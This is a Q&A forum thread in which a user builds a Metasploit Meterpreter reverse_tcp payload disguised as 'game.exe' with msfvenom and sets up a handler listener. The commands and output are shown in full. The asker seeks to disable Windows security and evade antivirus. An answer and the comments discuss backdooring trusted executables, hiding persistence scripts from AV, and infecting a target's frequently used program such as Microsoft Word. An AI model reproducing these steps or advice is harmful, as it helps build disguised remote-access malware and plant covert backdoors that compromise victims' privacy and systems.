-1

I have quite a complex problem on my hands. I recently had the ambition to try out new features of Metasploit (on Kali Linux 2017.1). I have two computers, so I thought this was a perfect environment for experimentation. My "master system" in this instance was HP EliteBook 8760w laptop. Two problems arose:

My primary ambition in both cases was to monitor a distant device through different interfaces. Firstly I tried to achieve my goal by creating a spyware program. Here's my procedure:

root@smerdjakov:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.103 LPORT=8080 -f exe > game.exe
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 333 bytes
Final size of exe file: 73802 bytes
root@smerdjakov:~# msfconsole

Metasploit Park, System Security Interface
Version 4.0.5, Alpha E

msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.0.103
lhost => 192.168.0.103
msf exploit(handler) > set lport 8080
lport => 8080
msf exploit(handler) > exploit -j -z
[*] Exploit running as background job.

[*] Started reverse TCP handler on 192.168.0.103:8080 
[*] Starting the payload handler...
msf exploit(handler) >

To this point, all went as intended: I compiled all of the functions, I got the .exe file with a payload. The main idea was to run this program on another computer (with Windows 7/8/10 OS) and the Metasploit prompt would automatically start monitoring the system. However, when I tried to run my game.exe as an administrator on Windows 10, this message popped up:

Operation did not complete successfully because a file contains a virus or
potentially unwanted software.

I added a strong layer of encryption so I found it peculiar that my program wouldn't start. On my Kali Linux I opened game.exe with Leafpad. All that I found was:

 MZ

Is this normal? Firstly, I'd like to know how to turn off Windows security completely, and secondly, if my game.exe file is even functional. I should mention that after 'MZ' there is another glyph that StackExchange interface can't interpret: it looks like a square with two zeros on top and a 9 and 0 at the bottom. Like so:

MZ 0 0
   9 0

Your help is much appreciated. Thank you in advance.

  • title does not match question: your question is simply about turning off security on Windows, and you are wondering why a text editor did not represent a binary in a way you understood. You will want to search here for 'meterpreter AV evasion' – schroeder Jul 16 '17 at 16:56
  • @schroeder Thank you for your correction! My activity at SE has mainly been centered around TeX - LaTeX so I'm not familiar with the format. I am deeply grateful for your guidance. – Gregor Perčič Jul 16 '17 at 17:25
3

Well the issue here seems to be an issue of evading your windows anti-virus. Since AV evasion is one of favorite topics allow me to give some helpful tips!

-msfvenom gives lots of different encoders to write your exploits in, however encoding your exe file multiple times doesn't mean that it will bypass AV. In practice the encoders are used to get rid of bad chars in a payload, etc.

-The best way to get past anti-virus program is to write your own exe, this means making your own stubs, templates and etc. Try reading this http://schierlm.users.sourceforge.net/avevasion.html

-Or my personal favorite, injection your payload into a pre-existing exe file (perhaps a trusted program..?) give this a read https://www.offensive-security.com/metasploit-unleashed/backdooring-exe-files/

Good luck

  • Since then, I found a "facade" technique and hid my malicious code into a .bat file. I tested the detection with at least 6 AV, but not one of them detected any threats. Even Kaspersky AV wasn't able to detect my .bat file as a threat. So to this end, I'm fine. Thank you for the wonderful suggestions nonetheless. Of course, once you are in the system (via meterpreter from metasploit prompt in my case) you have to make sure that you make this particular system your own. Meterpreter has a neat command called run persistence CONTINUED IN THE NEXT COMMENT – Gregor Perčič Aug 11 '17 at 15:22
  • which creates .vbs files in Windwos TEMP directory. In my opinion, Windows Defender has become too advanced to simply fall for a simple command like this. I think injection (as you suggested) would do better as a persistent backdoor to a particular system. It seems that my only option left is to manually upload a script that I wrote myself into C:\ directory. However this takes quite some time. My question is: Do you know of any easier method of creating a persistent backdoor or "masquerading" .vbs files so the AV doesn't detect them? Thank you in advance. – Gregor Perčič Aug 11 '17 at 15:27
  • There isnt really an easy way to install backdoors this is because if the AV was to get really smart they can monitor outgoing connections. Or the user can use wireshark and see where all of these other packets are going. One other piece of advice I would give you is, learn what AV your target uses, then create your own code to bypass that one AV. Yes it is not really easy but it the best option for success. Most of the time, time isn't as important as success so playing a long game might be the best bet. Then create a backdoor now that you have researched your targets AV software. Good Luck. – Paul_C Aug 11 '17 at 18:05
  • I though long and hard and came to a conclusion: writing my own script is probably not worth it. I don't know ANY programming, so this would be a pain in the ass. However, your injection method seems to be a potential winner. Think about it; if I know what programs my target uses the most frequently (e.g. Microsoft Word) I can just infect/inject my triggers into this specific .exe file. This way, I'll get access very frequently and it is WAY easier than supporting and maintaining persistent backdoor. What do you think? – Gregor Perčič Aug 11 '17 at 22:22

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.